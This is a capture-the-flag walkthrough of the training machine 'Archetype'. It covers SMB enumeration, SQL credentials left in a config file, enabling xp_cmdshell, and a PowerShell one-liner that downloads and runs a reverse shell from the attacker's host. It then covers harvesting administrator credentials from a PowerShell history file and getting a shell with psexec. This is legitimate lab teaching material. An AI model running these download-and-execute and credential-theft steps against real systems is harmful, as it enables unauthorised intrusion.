Archetype⌗

box logo

Creator: egre55

Difficulty: Easy

OS: Windows

Scanning⌗

nmap⌗

$ nmap -sV -sC 10.10.10.27
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-31 04:31 EDT
Nmap scan report for 10.10.10.27
Host is up (0.025s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-03-30T20:32:15
|_Not valid after:  2051-03-30T20:32:15
|_ssl-date: 2021-03-31T08:49:09+00:00; +17m38s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h41m38s, deviation: 3h07m50s, median: 17m37s
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-03-31T01:49:01-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-03-31T08:49:02
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.53 seconds

OK so we have a lot of information here, there seems to be SMB shares available, let’s use smbmap.

smbmap⌗

$ smbmap -u archetype -H 10.10.10.27 
[+] Guest session       IP: 10.10.10.27:445     Name: 10.10.10.27                                       
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        backups                                                 READ ONLY
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC

We have a read only access to the backups share, we’re going to access it through smbclient

$ smbclient -N \\\\10.10.10.27\\backups                                             
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 20 07:20:57 2020
  ..                                  D        0  Mon Jan 20 07:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 07:23:02 2020

                10328063 blocks of size 4096. 8249081 blocks available
smb: \> get prod.dtsConfig 
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (6.2 KiloBytes/sec) (average 6.2 KiloBytes/sec)

There is a file available on the share called prod.dtsConfig; using get we retrieve the document on our local machine.

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

At first glance, it seems like we’ve got a configuration file that has something to do with SQL and an user/password combination!

We know that there is a MSSQL service running on the box (see nmap scan).

We’re going to use the mssql client from impacket to try and interact with the mssql service.

impacket-mssqlclient⌗

$ impacket-mssqlclient ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> 

OK! We kinda have a shell on the machine, well a SQL shell. Fortunately we can execute command with the help of the xp_cmdshell. But first we have to enable it by issuing the command enable_xp_cmdshell

SQL> enable_xp_cmdshell
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

We have access but a not so easy shell to interact with, now to have a proper shell we’re going to: - get a powershell reverse shell file - host it on our local machine temporarily - start a netcat listener on our local machine - download the file on the remote machine - execute the file

getting access⌗

I’m going to use this powershell reverse shell. (not detailed here, but the file needs to be modified to include the right ip address and port)

local machine - tab A

$ wget https://raw.githubusercontent.com/staaldraad/offensive-powershell/master/mini_rev.ps1
$ python3 -m http.server

local machine - tab B

nc -lvnp 4242

remote machine

SQL> xp_cmdshell "powershell " IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.20:8000/mini_rev.ps1\");"

local machine - tab B

$ whoami
archetype\sql_svc

We can recover the first user flag by issuing the command: type C:\Users\sql_svc\Desktop\user.txt

Privilege Escalation⌗

Being a service account as well as a user account, it might be interesting to check out the history file

In order to know where this file is, we can run Get-PSReadLineOption

Get-PSReadlineOption


EditMode                               : Windows
AddToHistoryHandler                    : 
HistoryNoDuplicates                    : True
HistorySavePath                        : C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
HistorySaveStyle                       : SaveIncrementally
HistorySearchCaseSensitive             : False
HistorySearchCursorMovesToEnd          : False
MaximumHistoryCount                    : 4096
ContinuationPrompt                     : >> 
ExtraPromptLineCount                   : 0
PromptText                             : 
BellStyle                              : Audible
DingDuration                           : 50
DingTone                               : 1221
CommandsToValidateScriptBlockArguments : {ForEach-Object, %, Invoke-Command, icm...}
CommandValidationHandler               : 
CompletionQueryItems                   : 100
MaximumKillRingCount                   : 10
ShowToolTips                           : True
ViModeIndicator                        : None
--- SNIP ---

Ok so the file is C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt let’s get its contents

$ type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

Nice! It looks like the backup share was mounted using administrator privileges, we can see in clear text the user/password combination.

impacket-psexec⌗

We’re going to use this tool in order to get a shell as administrator on the remote machine.

└─$ impacket-psexec administrator@10.10.10.27
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file BBNgplMh.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service nLwl on 10.10.10.27.....
[*] Starting service nLwl.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

We can now retrieve the flag file for administrator type C:\Users\Administrator\Desktop\root.txt

And this concludes the first machine in the Starting Point serie.

PDF export⌗

You can download the pdf here